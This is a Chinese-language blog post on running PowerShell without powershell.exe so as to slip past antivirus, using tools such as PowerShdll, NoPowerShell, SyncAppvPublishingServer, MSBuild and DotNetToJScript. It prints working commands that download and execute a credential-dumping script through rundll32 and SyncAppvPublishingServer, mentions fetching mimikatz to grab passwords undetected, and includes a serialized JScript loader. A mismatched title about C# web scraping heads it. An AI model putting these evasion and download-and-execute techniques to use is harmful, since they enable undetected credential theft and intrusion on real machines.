c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)

优采云 发布时间: 2022-04-15 06:07

  c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)

  原创:冷翼和田智慧

  今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。

  

  因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。

  以下是一个摘要列表:

  以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。

  电源线

  PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:

  下载链接:

  让我们看看如何使用它:

  先把工程拉到本地,然后运行build.bat文件

  

  然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。

  

  添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示

  

  查看内置脚本 PowerLine.exe -ShowScripts

  

  运行脚本,360静音

  

  但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……

  PowerShdll

  该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行

  下载链接:

  exe版本使用方法:

  使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截

  

  下载mimikatz抢密码,360全程无反应...

  

  交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....

  下面我们来看看dll版本的使用情况。。

  rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

  这次就没那么幸运了,直接被360秒杀

  

  无powershell

  NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。

  优势:

  下载链接:

  我们来看看它的用法:

  直接运行会输出它的版本和支持的命令

  

  

  360流程无拦截

  dll版本在几秒钟内被杀死..

  

  在cs下稳定..

  

  这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。

  了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。

  相关实验:CobaltStrike 的代理和 powershell

  SyncAppvPublishingServer

  SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。

  默认存储在 C:\Windows\System32 下

  

  使用示例:

  *敏*感*词*电脑:

  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”

  

  或者:

  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"

  您还可以去远程下载并执行一些 ps 脚本,如下所示:

  C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"

  SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

  调用 MSBuild.exe:

  MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。

  Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:

   outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}

]]>< / Code>

  test.ps1的内容如下

  echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable

  影响:

  

  全360无提示..

  github上也有一个类似的项目:

  执行后获取交互式 PS

  

  调用 cscript:

  github上有一个开源项目,可以直接生成.js文件。用法是

  Dotnettojscript.exe > testps.js

  现在作者给出了一个编译版本,但是里面总是存在一些问题:

  Error: loading assembly information.The generated script might not work correctly

  所以我们下载它并手动编译它..

  先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox

  

  然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动*敏*感*词*

  [psobject].Assembly.Location

  

  引入后,在TestClass中添加如下方法:

  private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}

  编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,

  其内容如下:

  function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}

var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = &#39;TestClass&#39;;

try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;); var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

} catch (e) { debug(e.message);}

解密后的主要逻辑如下:

var entry_class = &#39;TestClass&#39;;try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;);var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;);var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}

  运行结果:

  当然也可以使用以下方法绕过对JS后缀的检测

  cscript //e:jscript testps.txt

  但是360无情地杀了我们……

  

  写在后面:

  本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。

  参考文章:

  免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关!

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线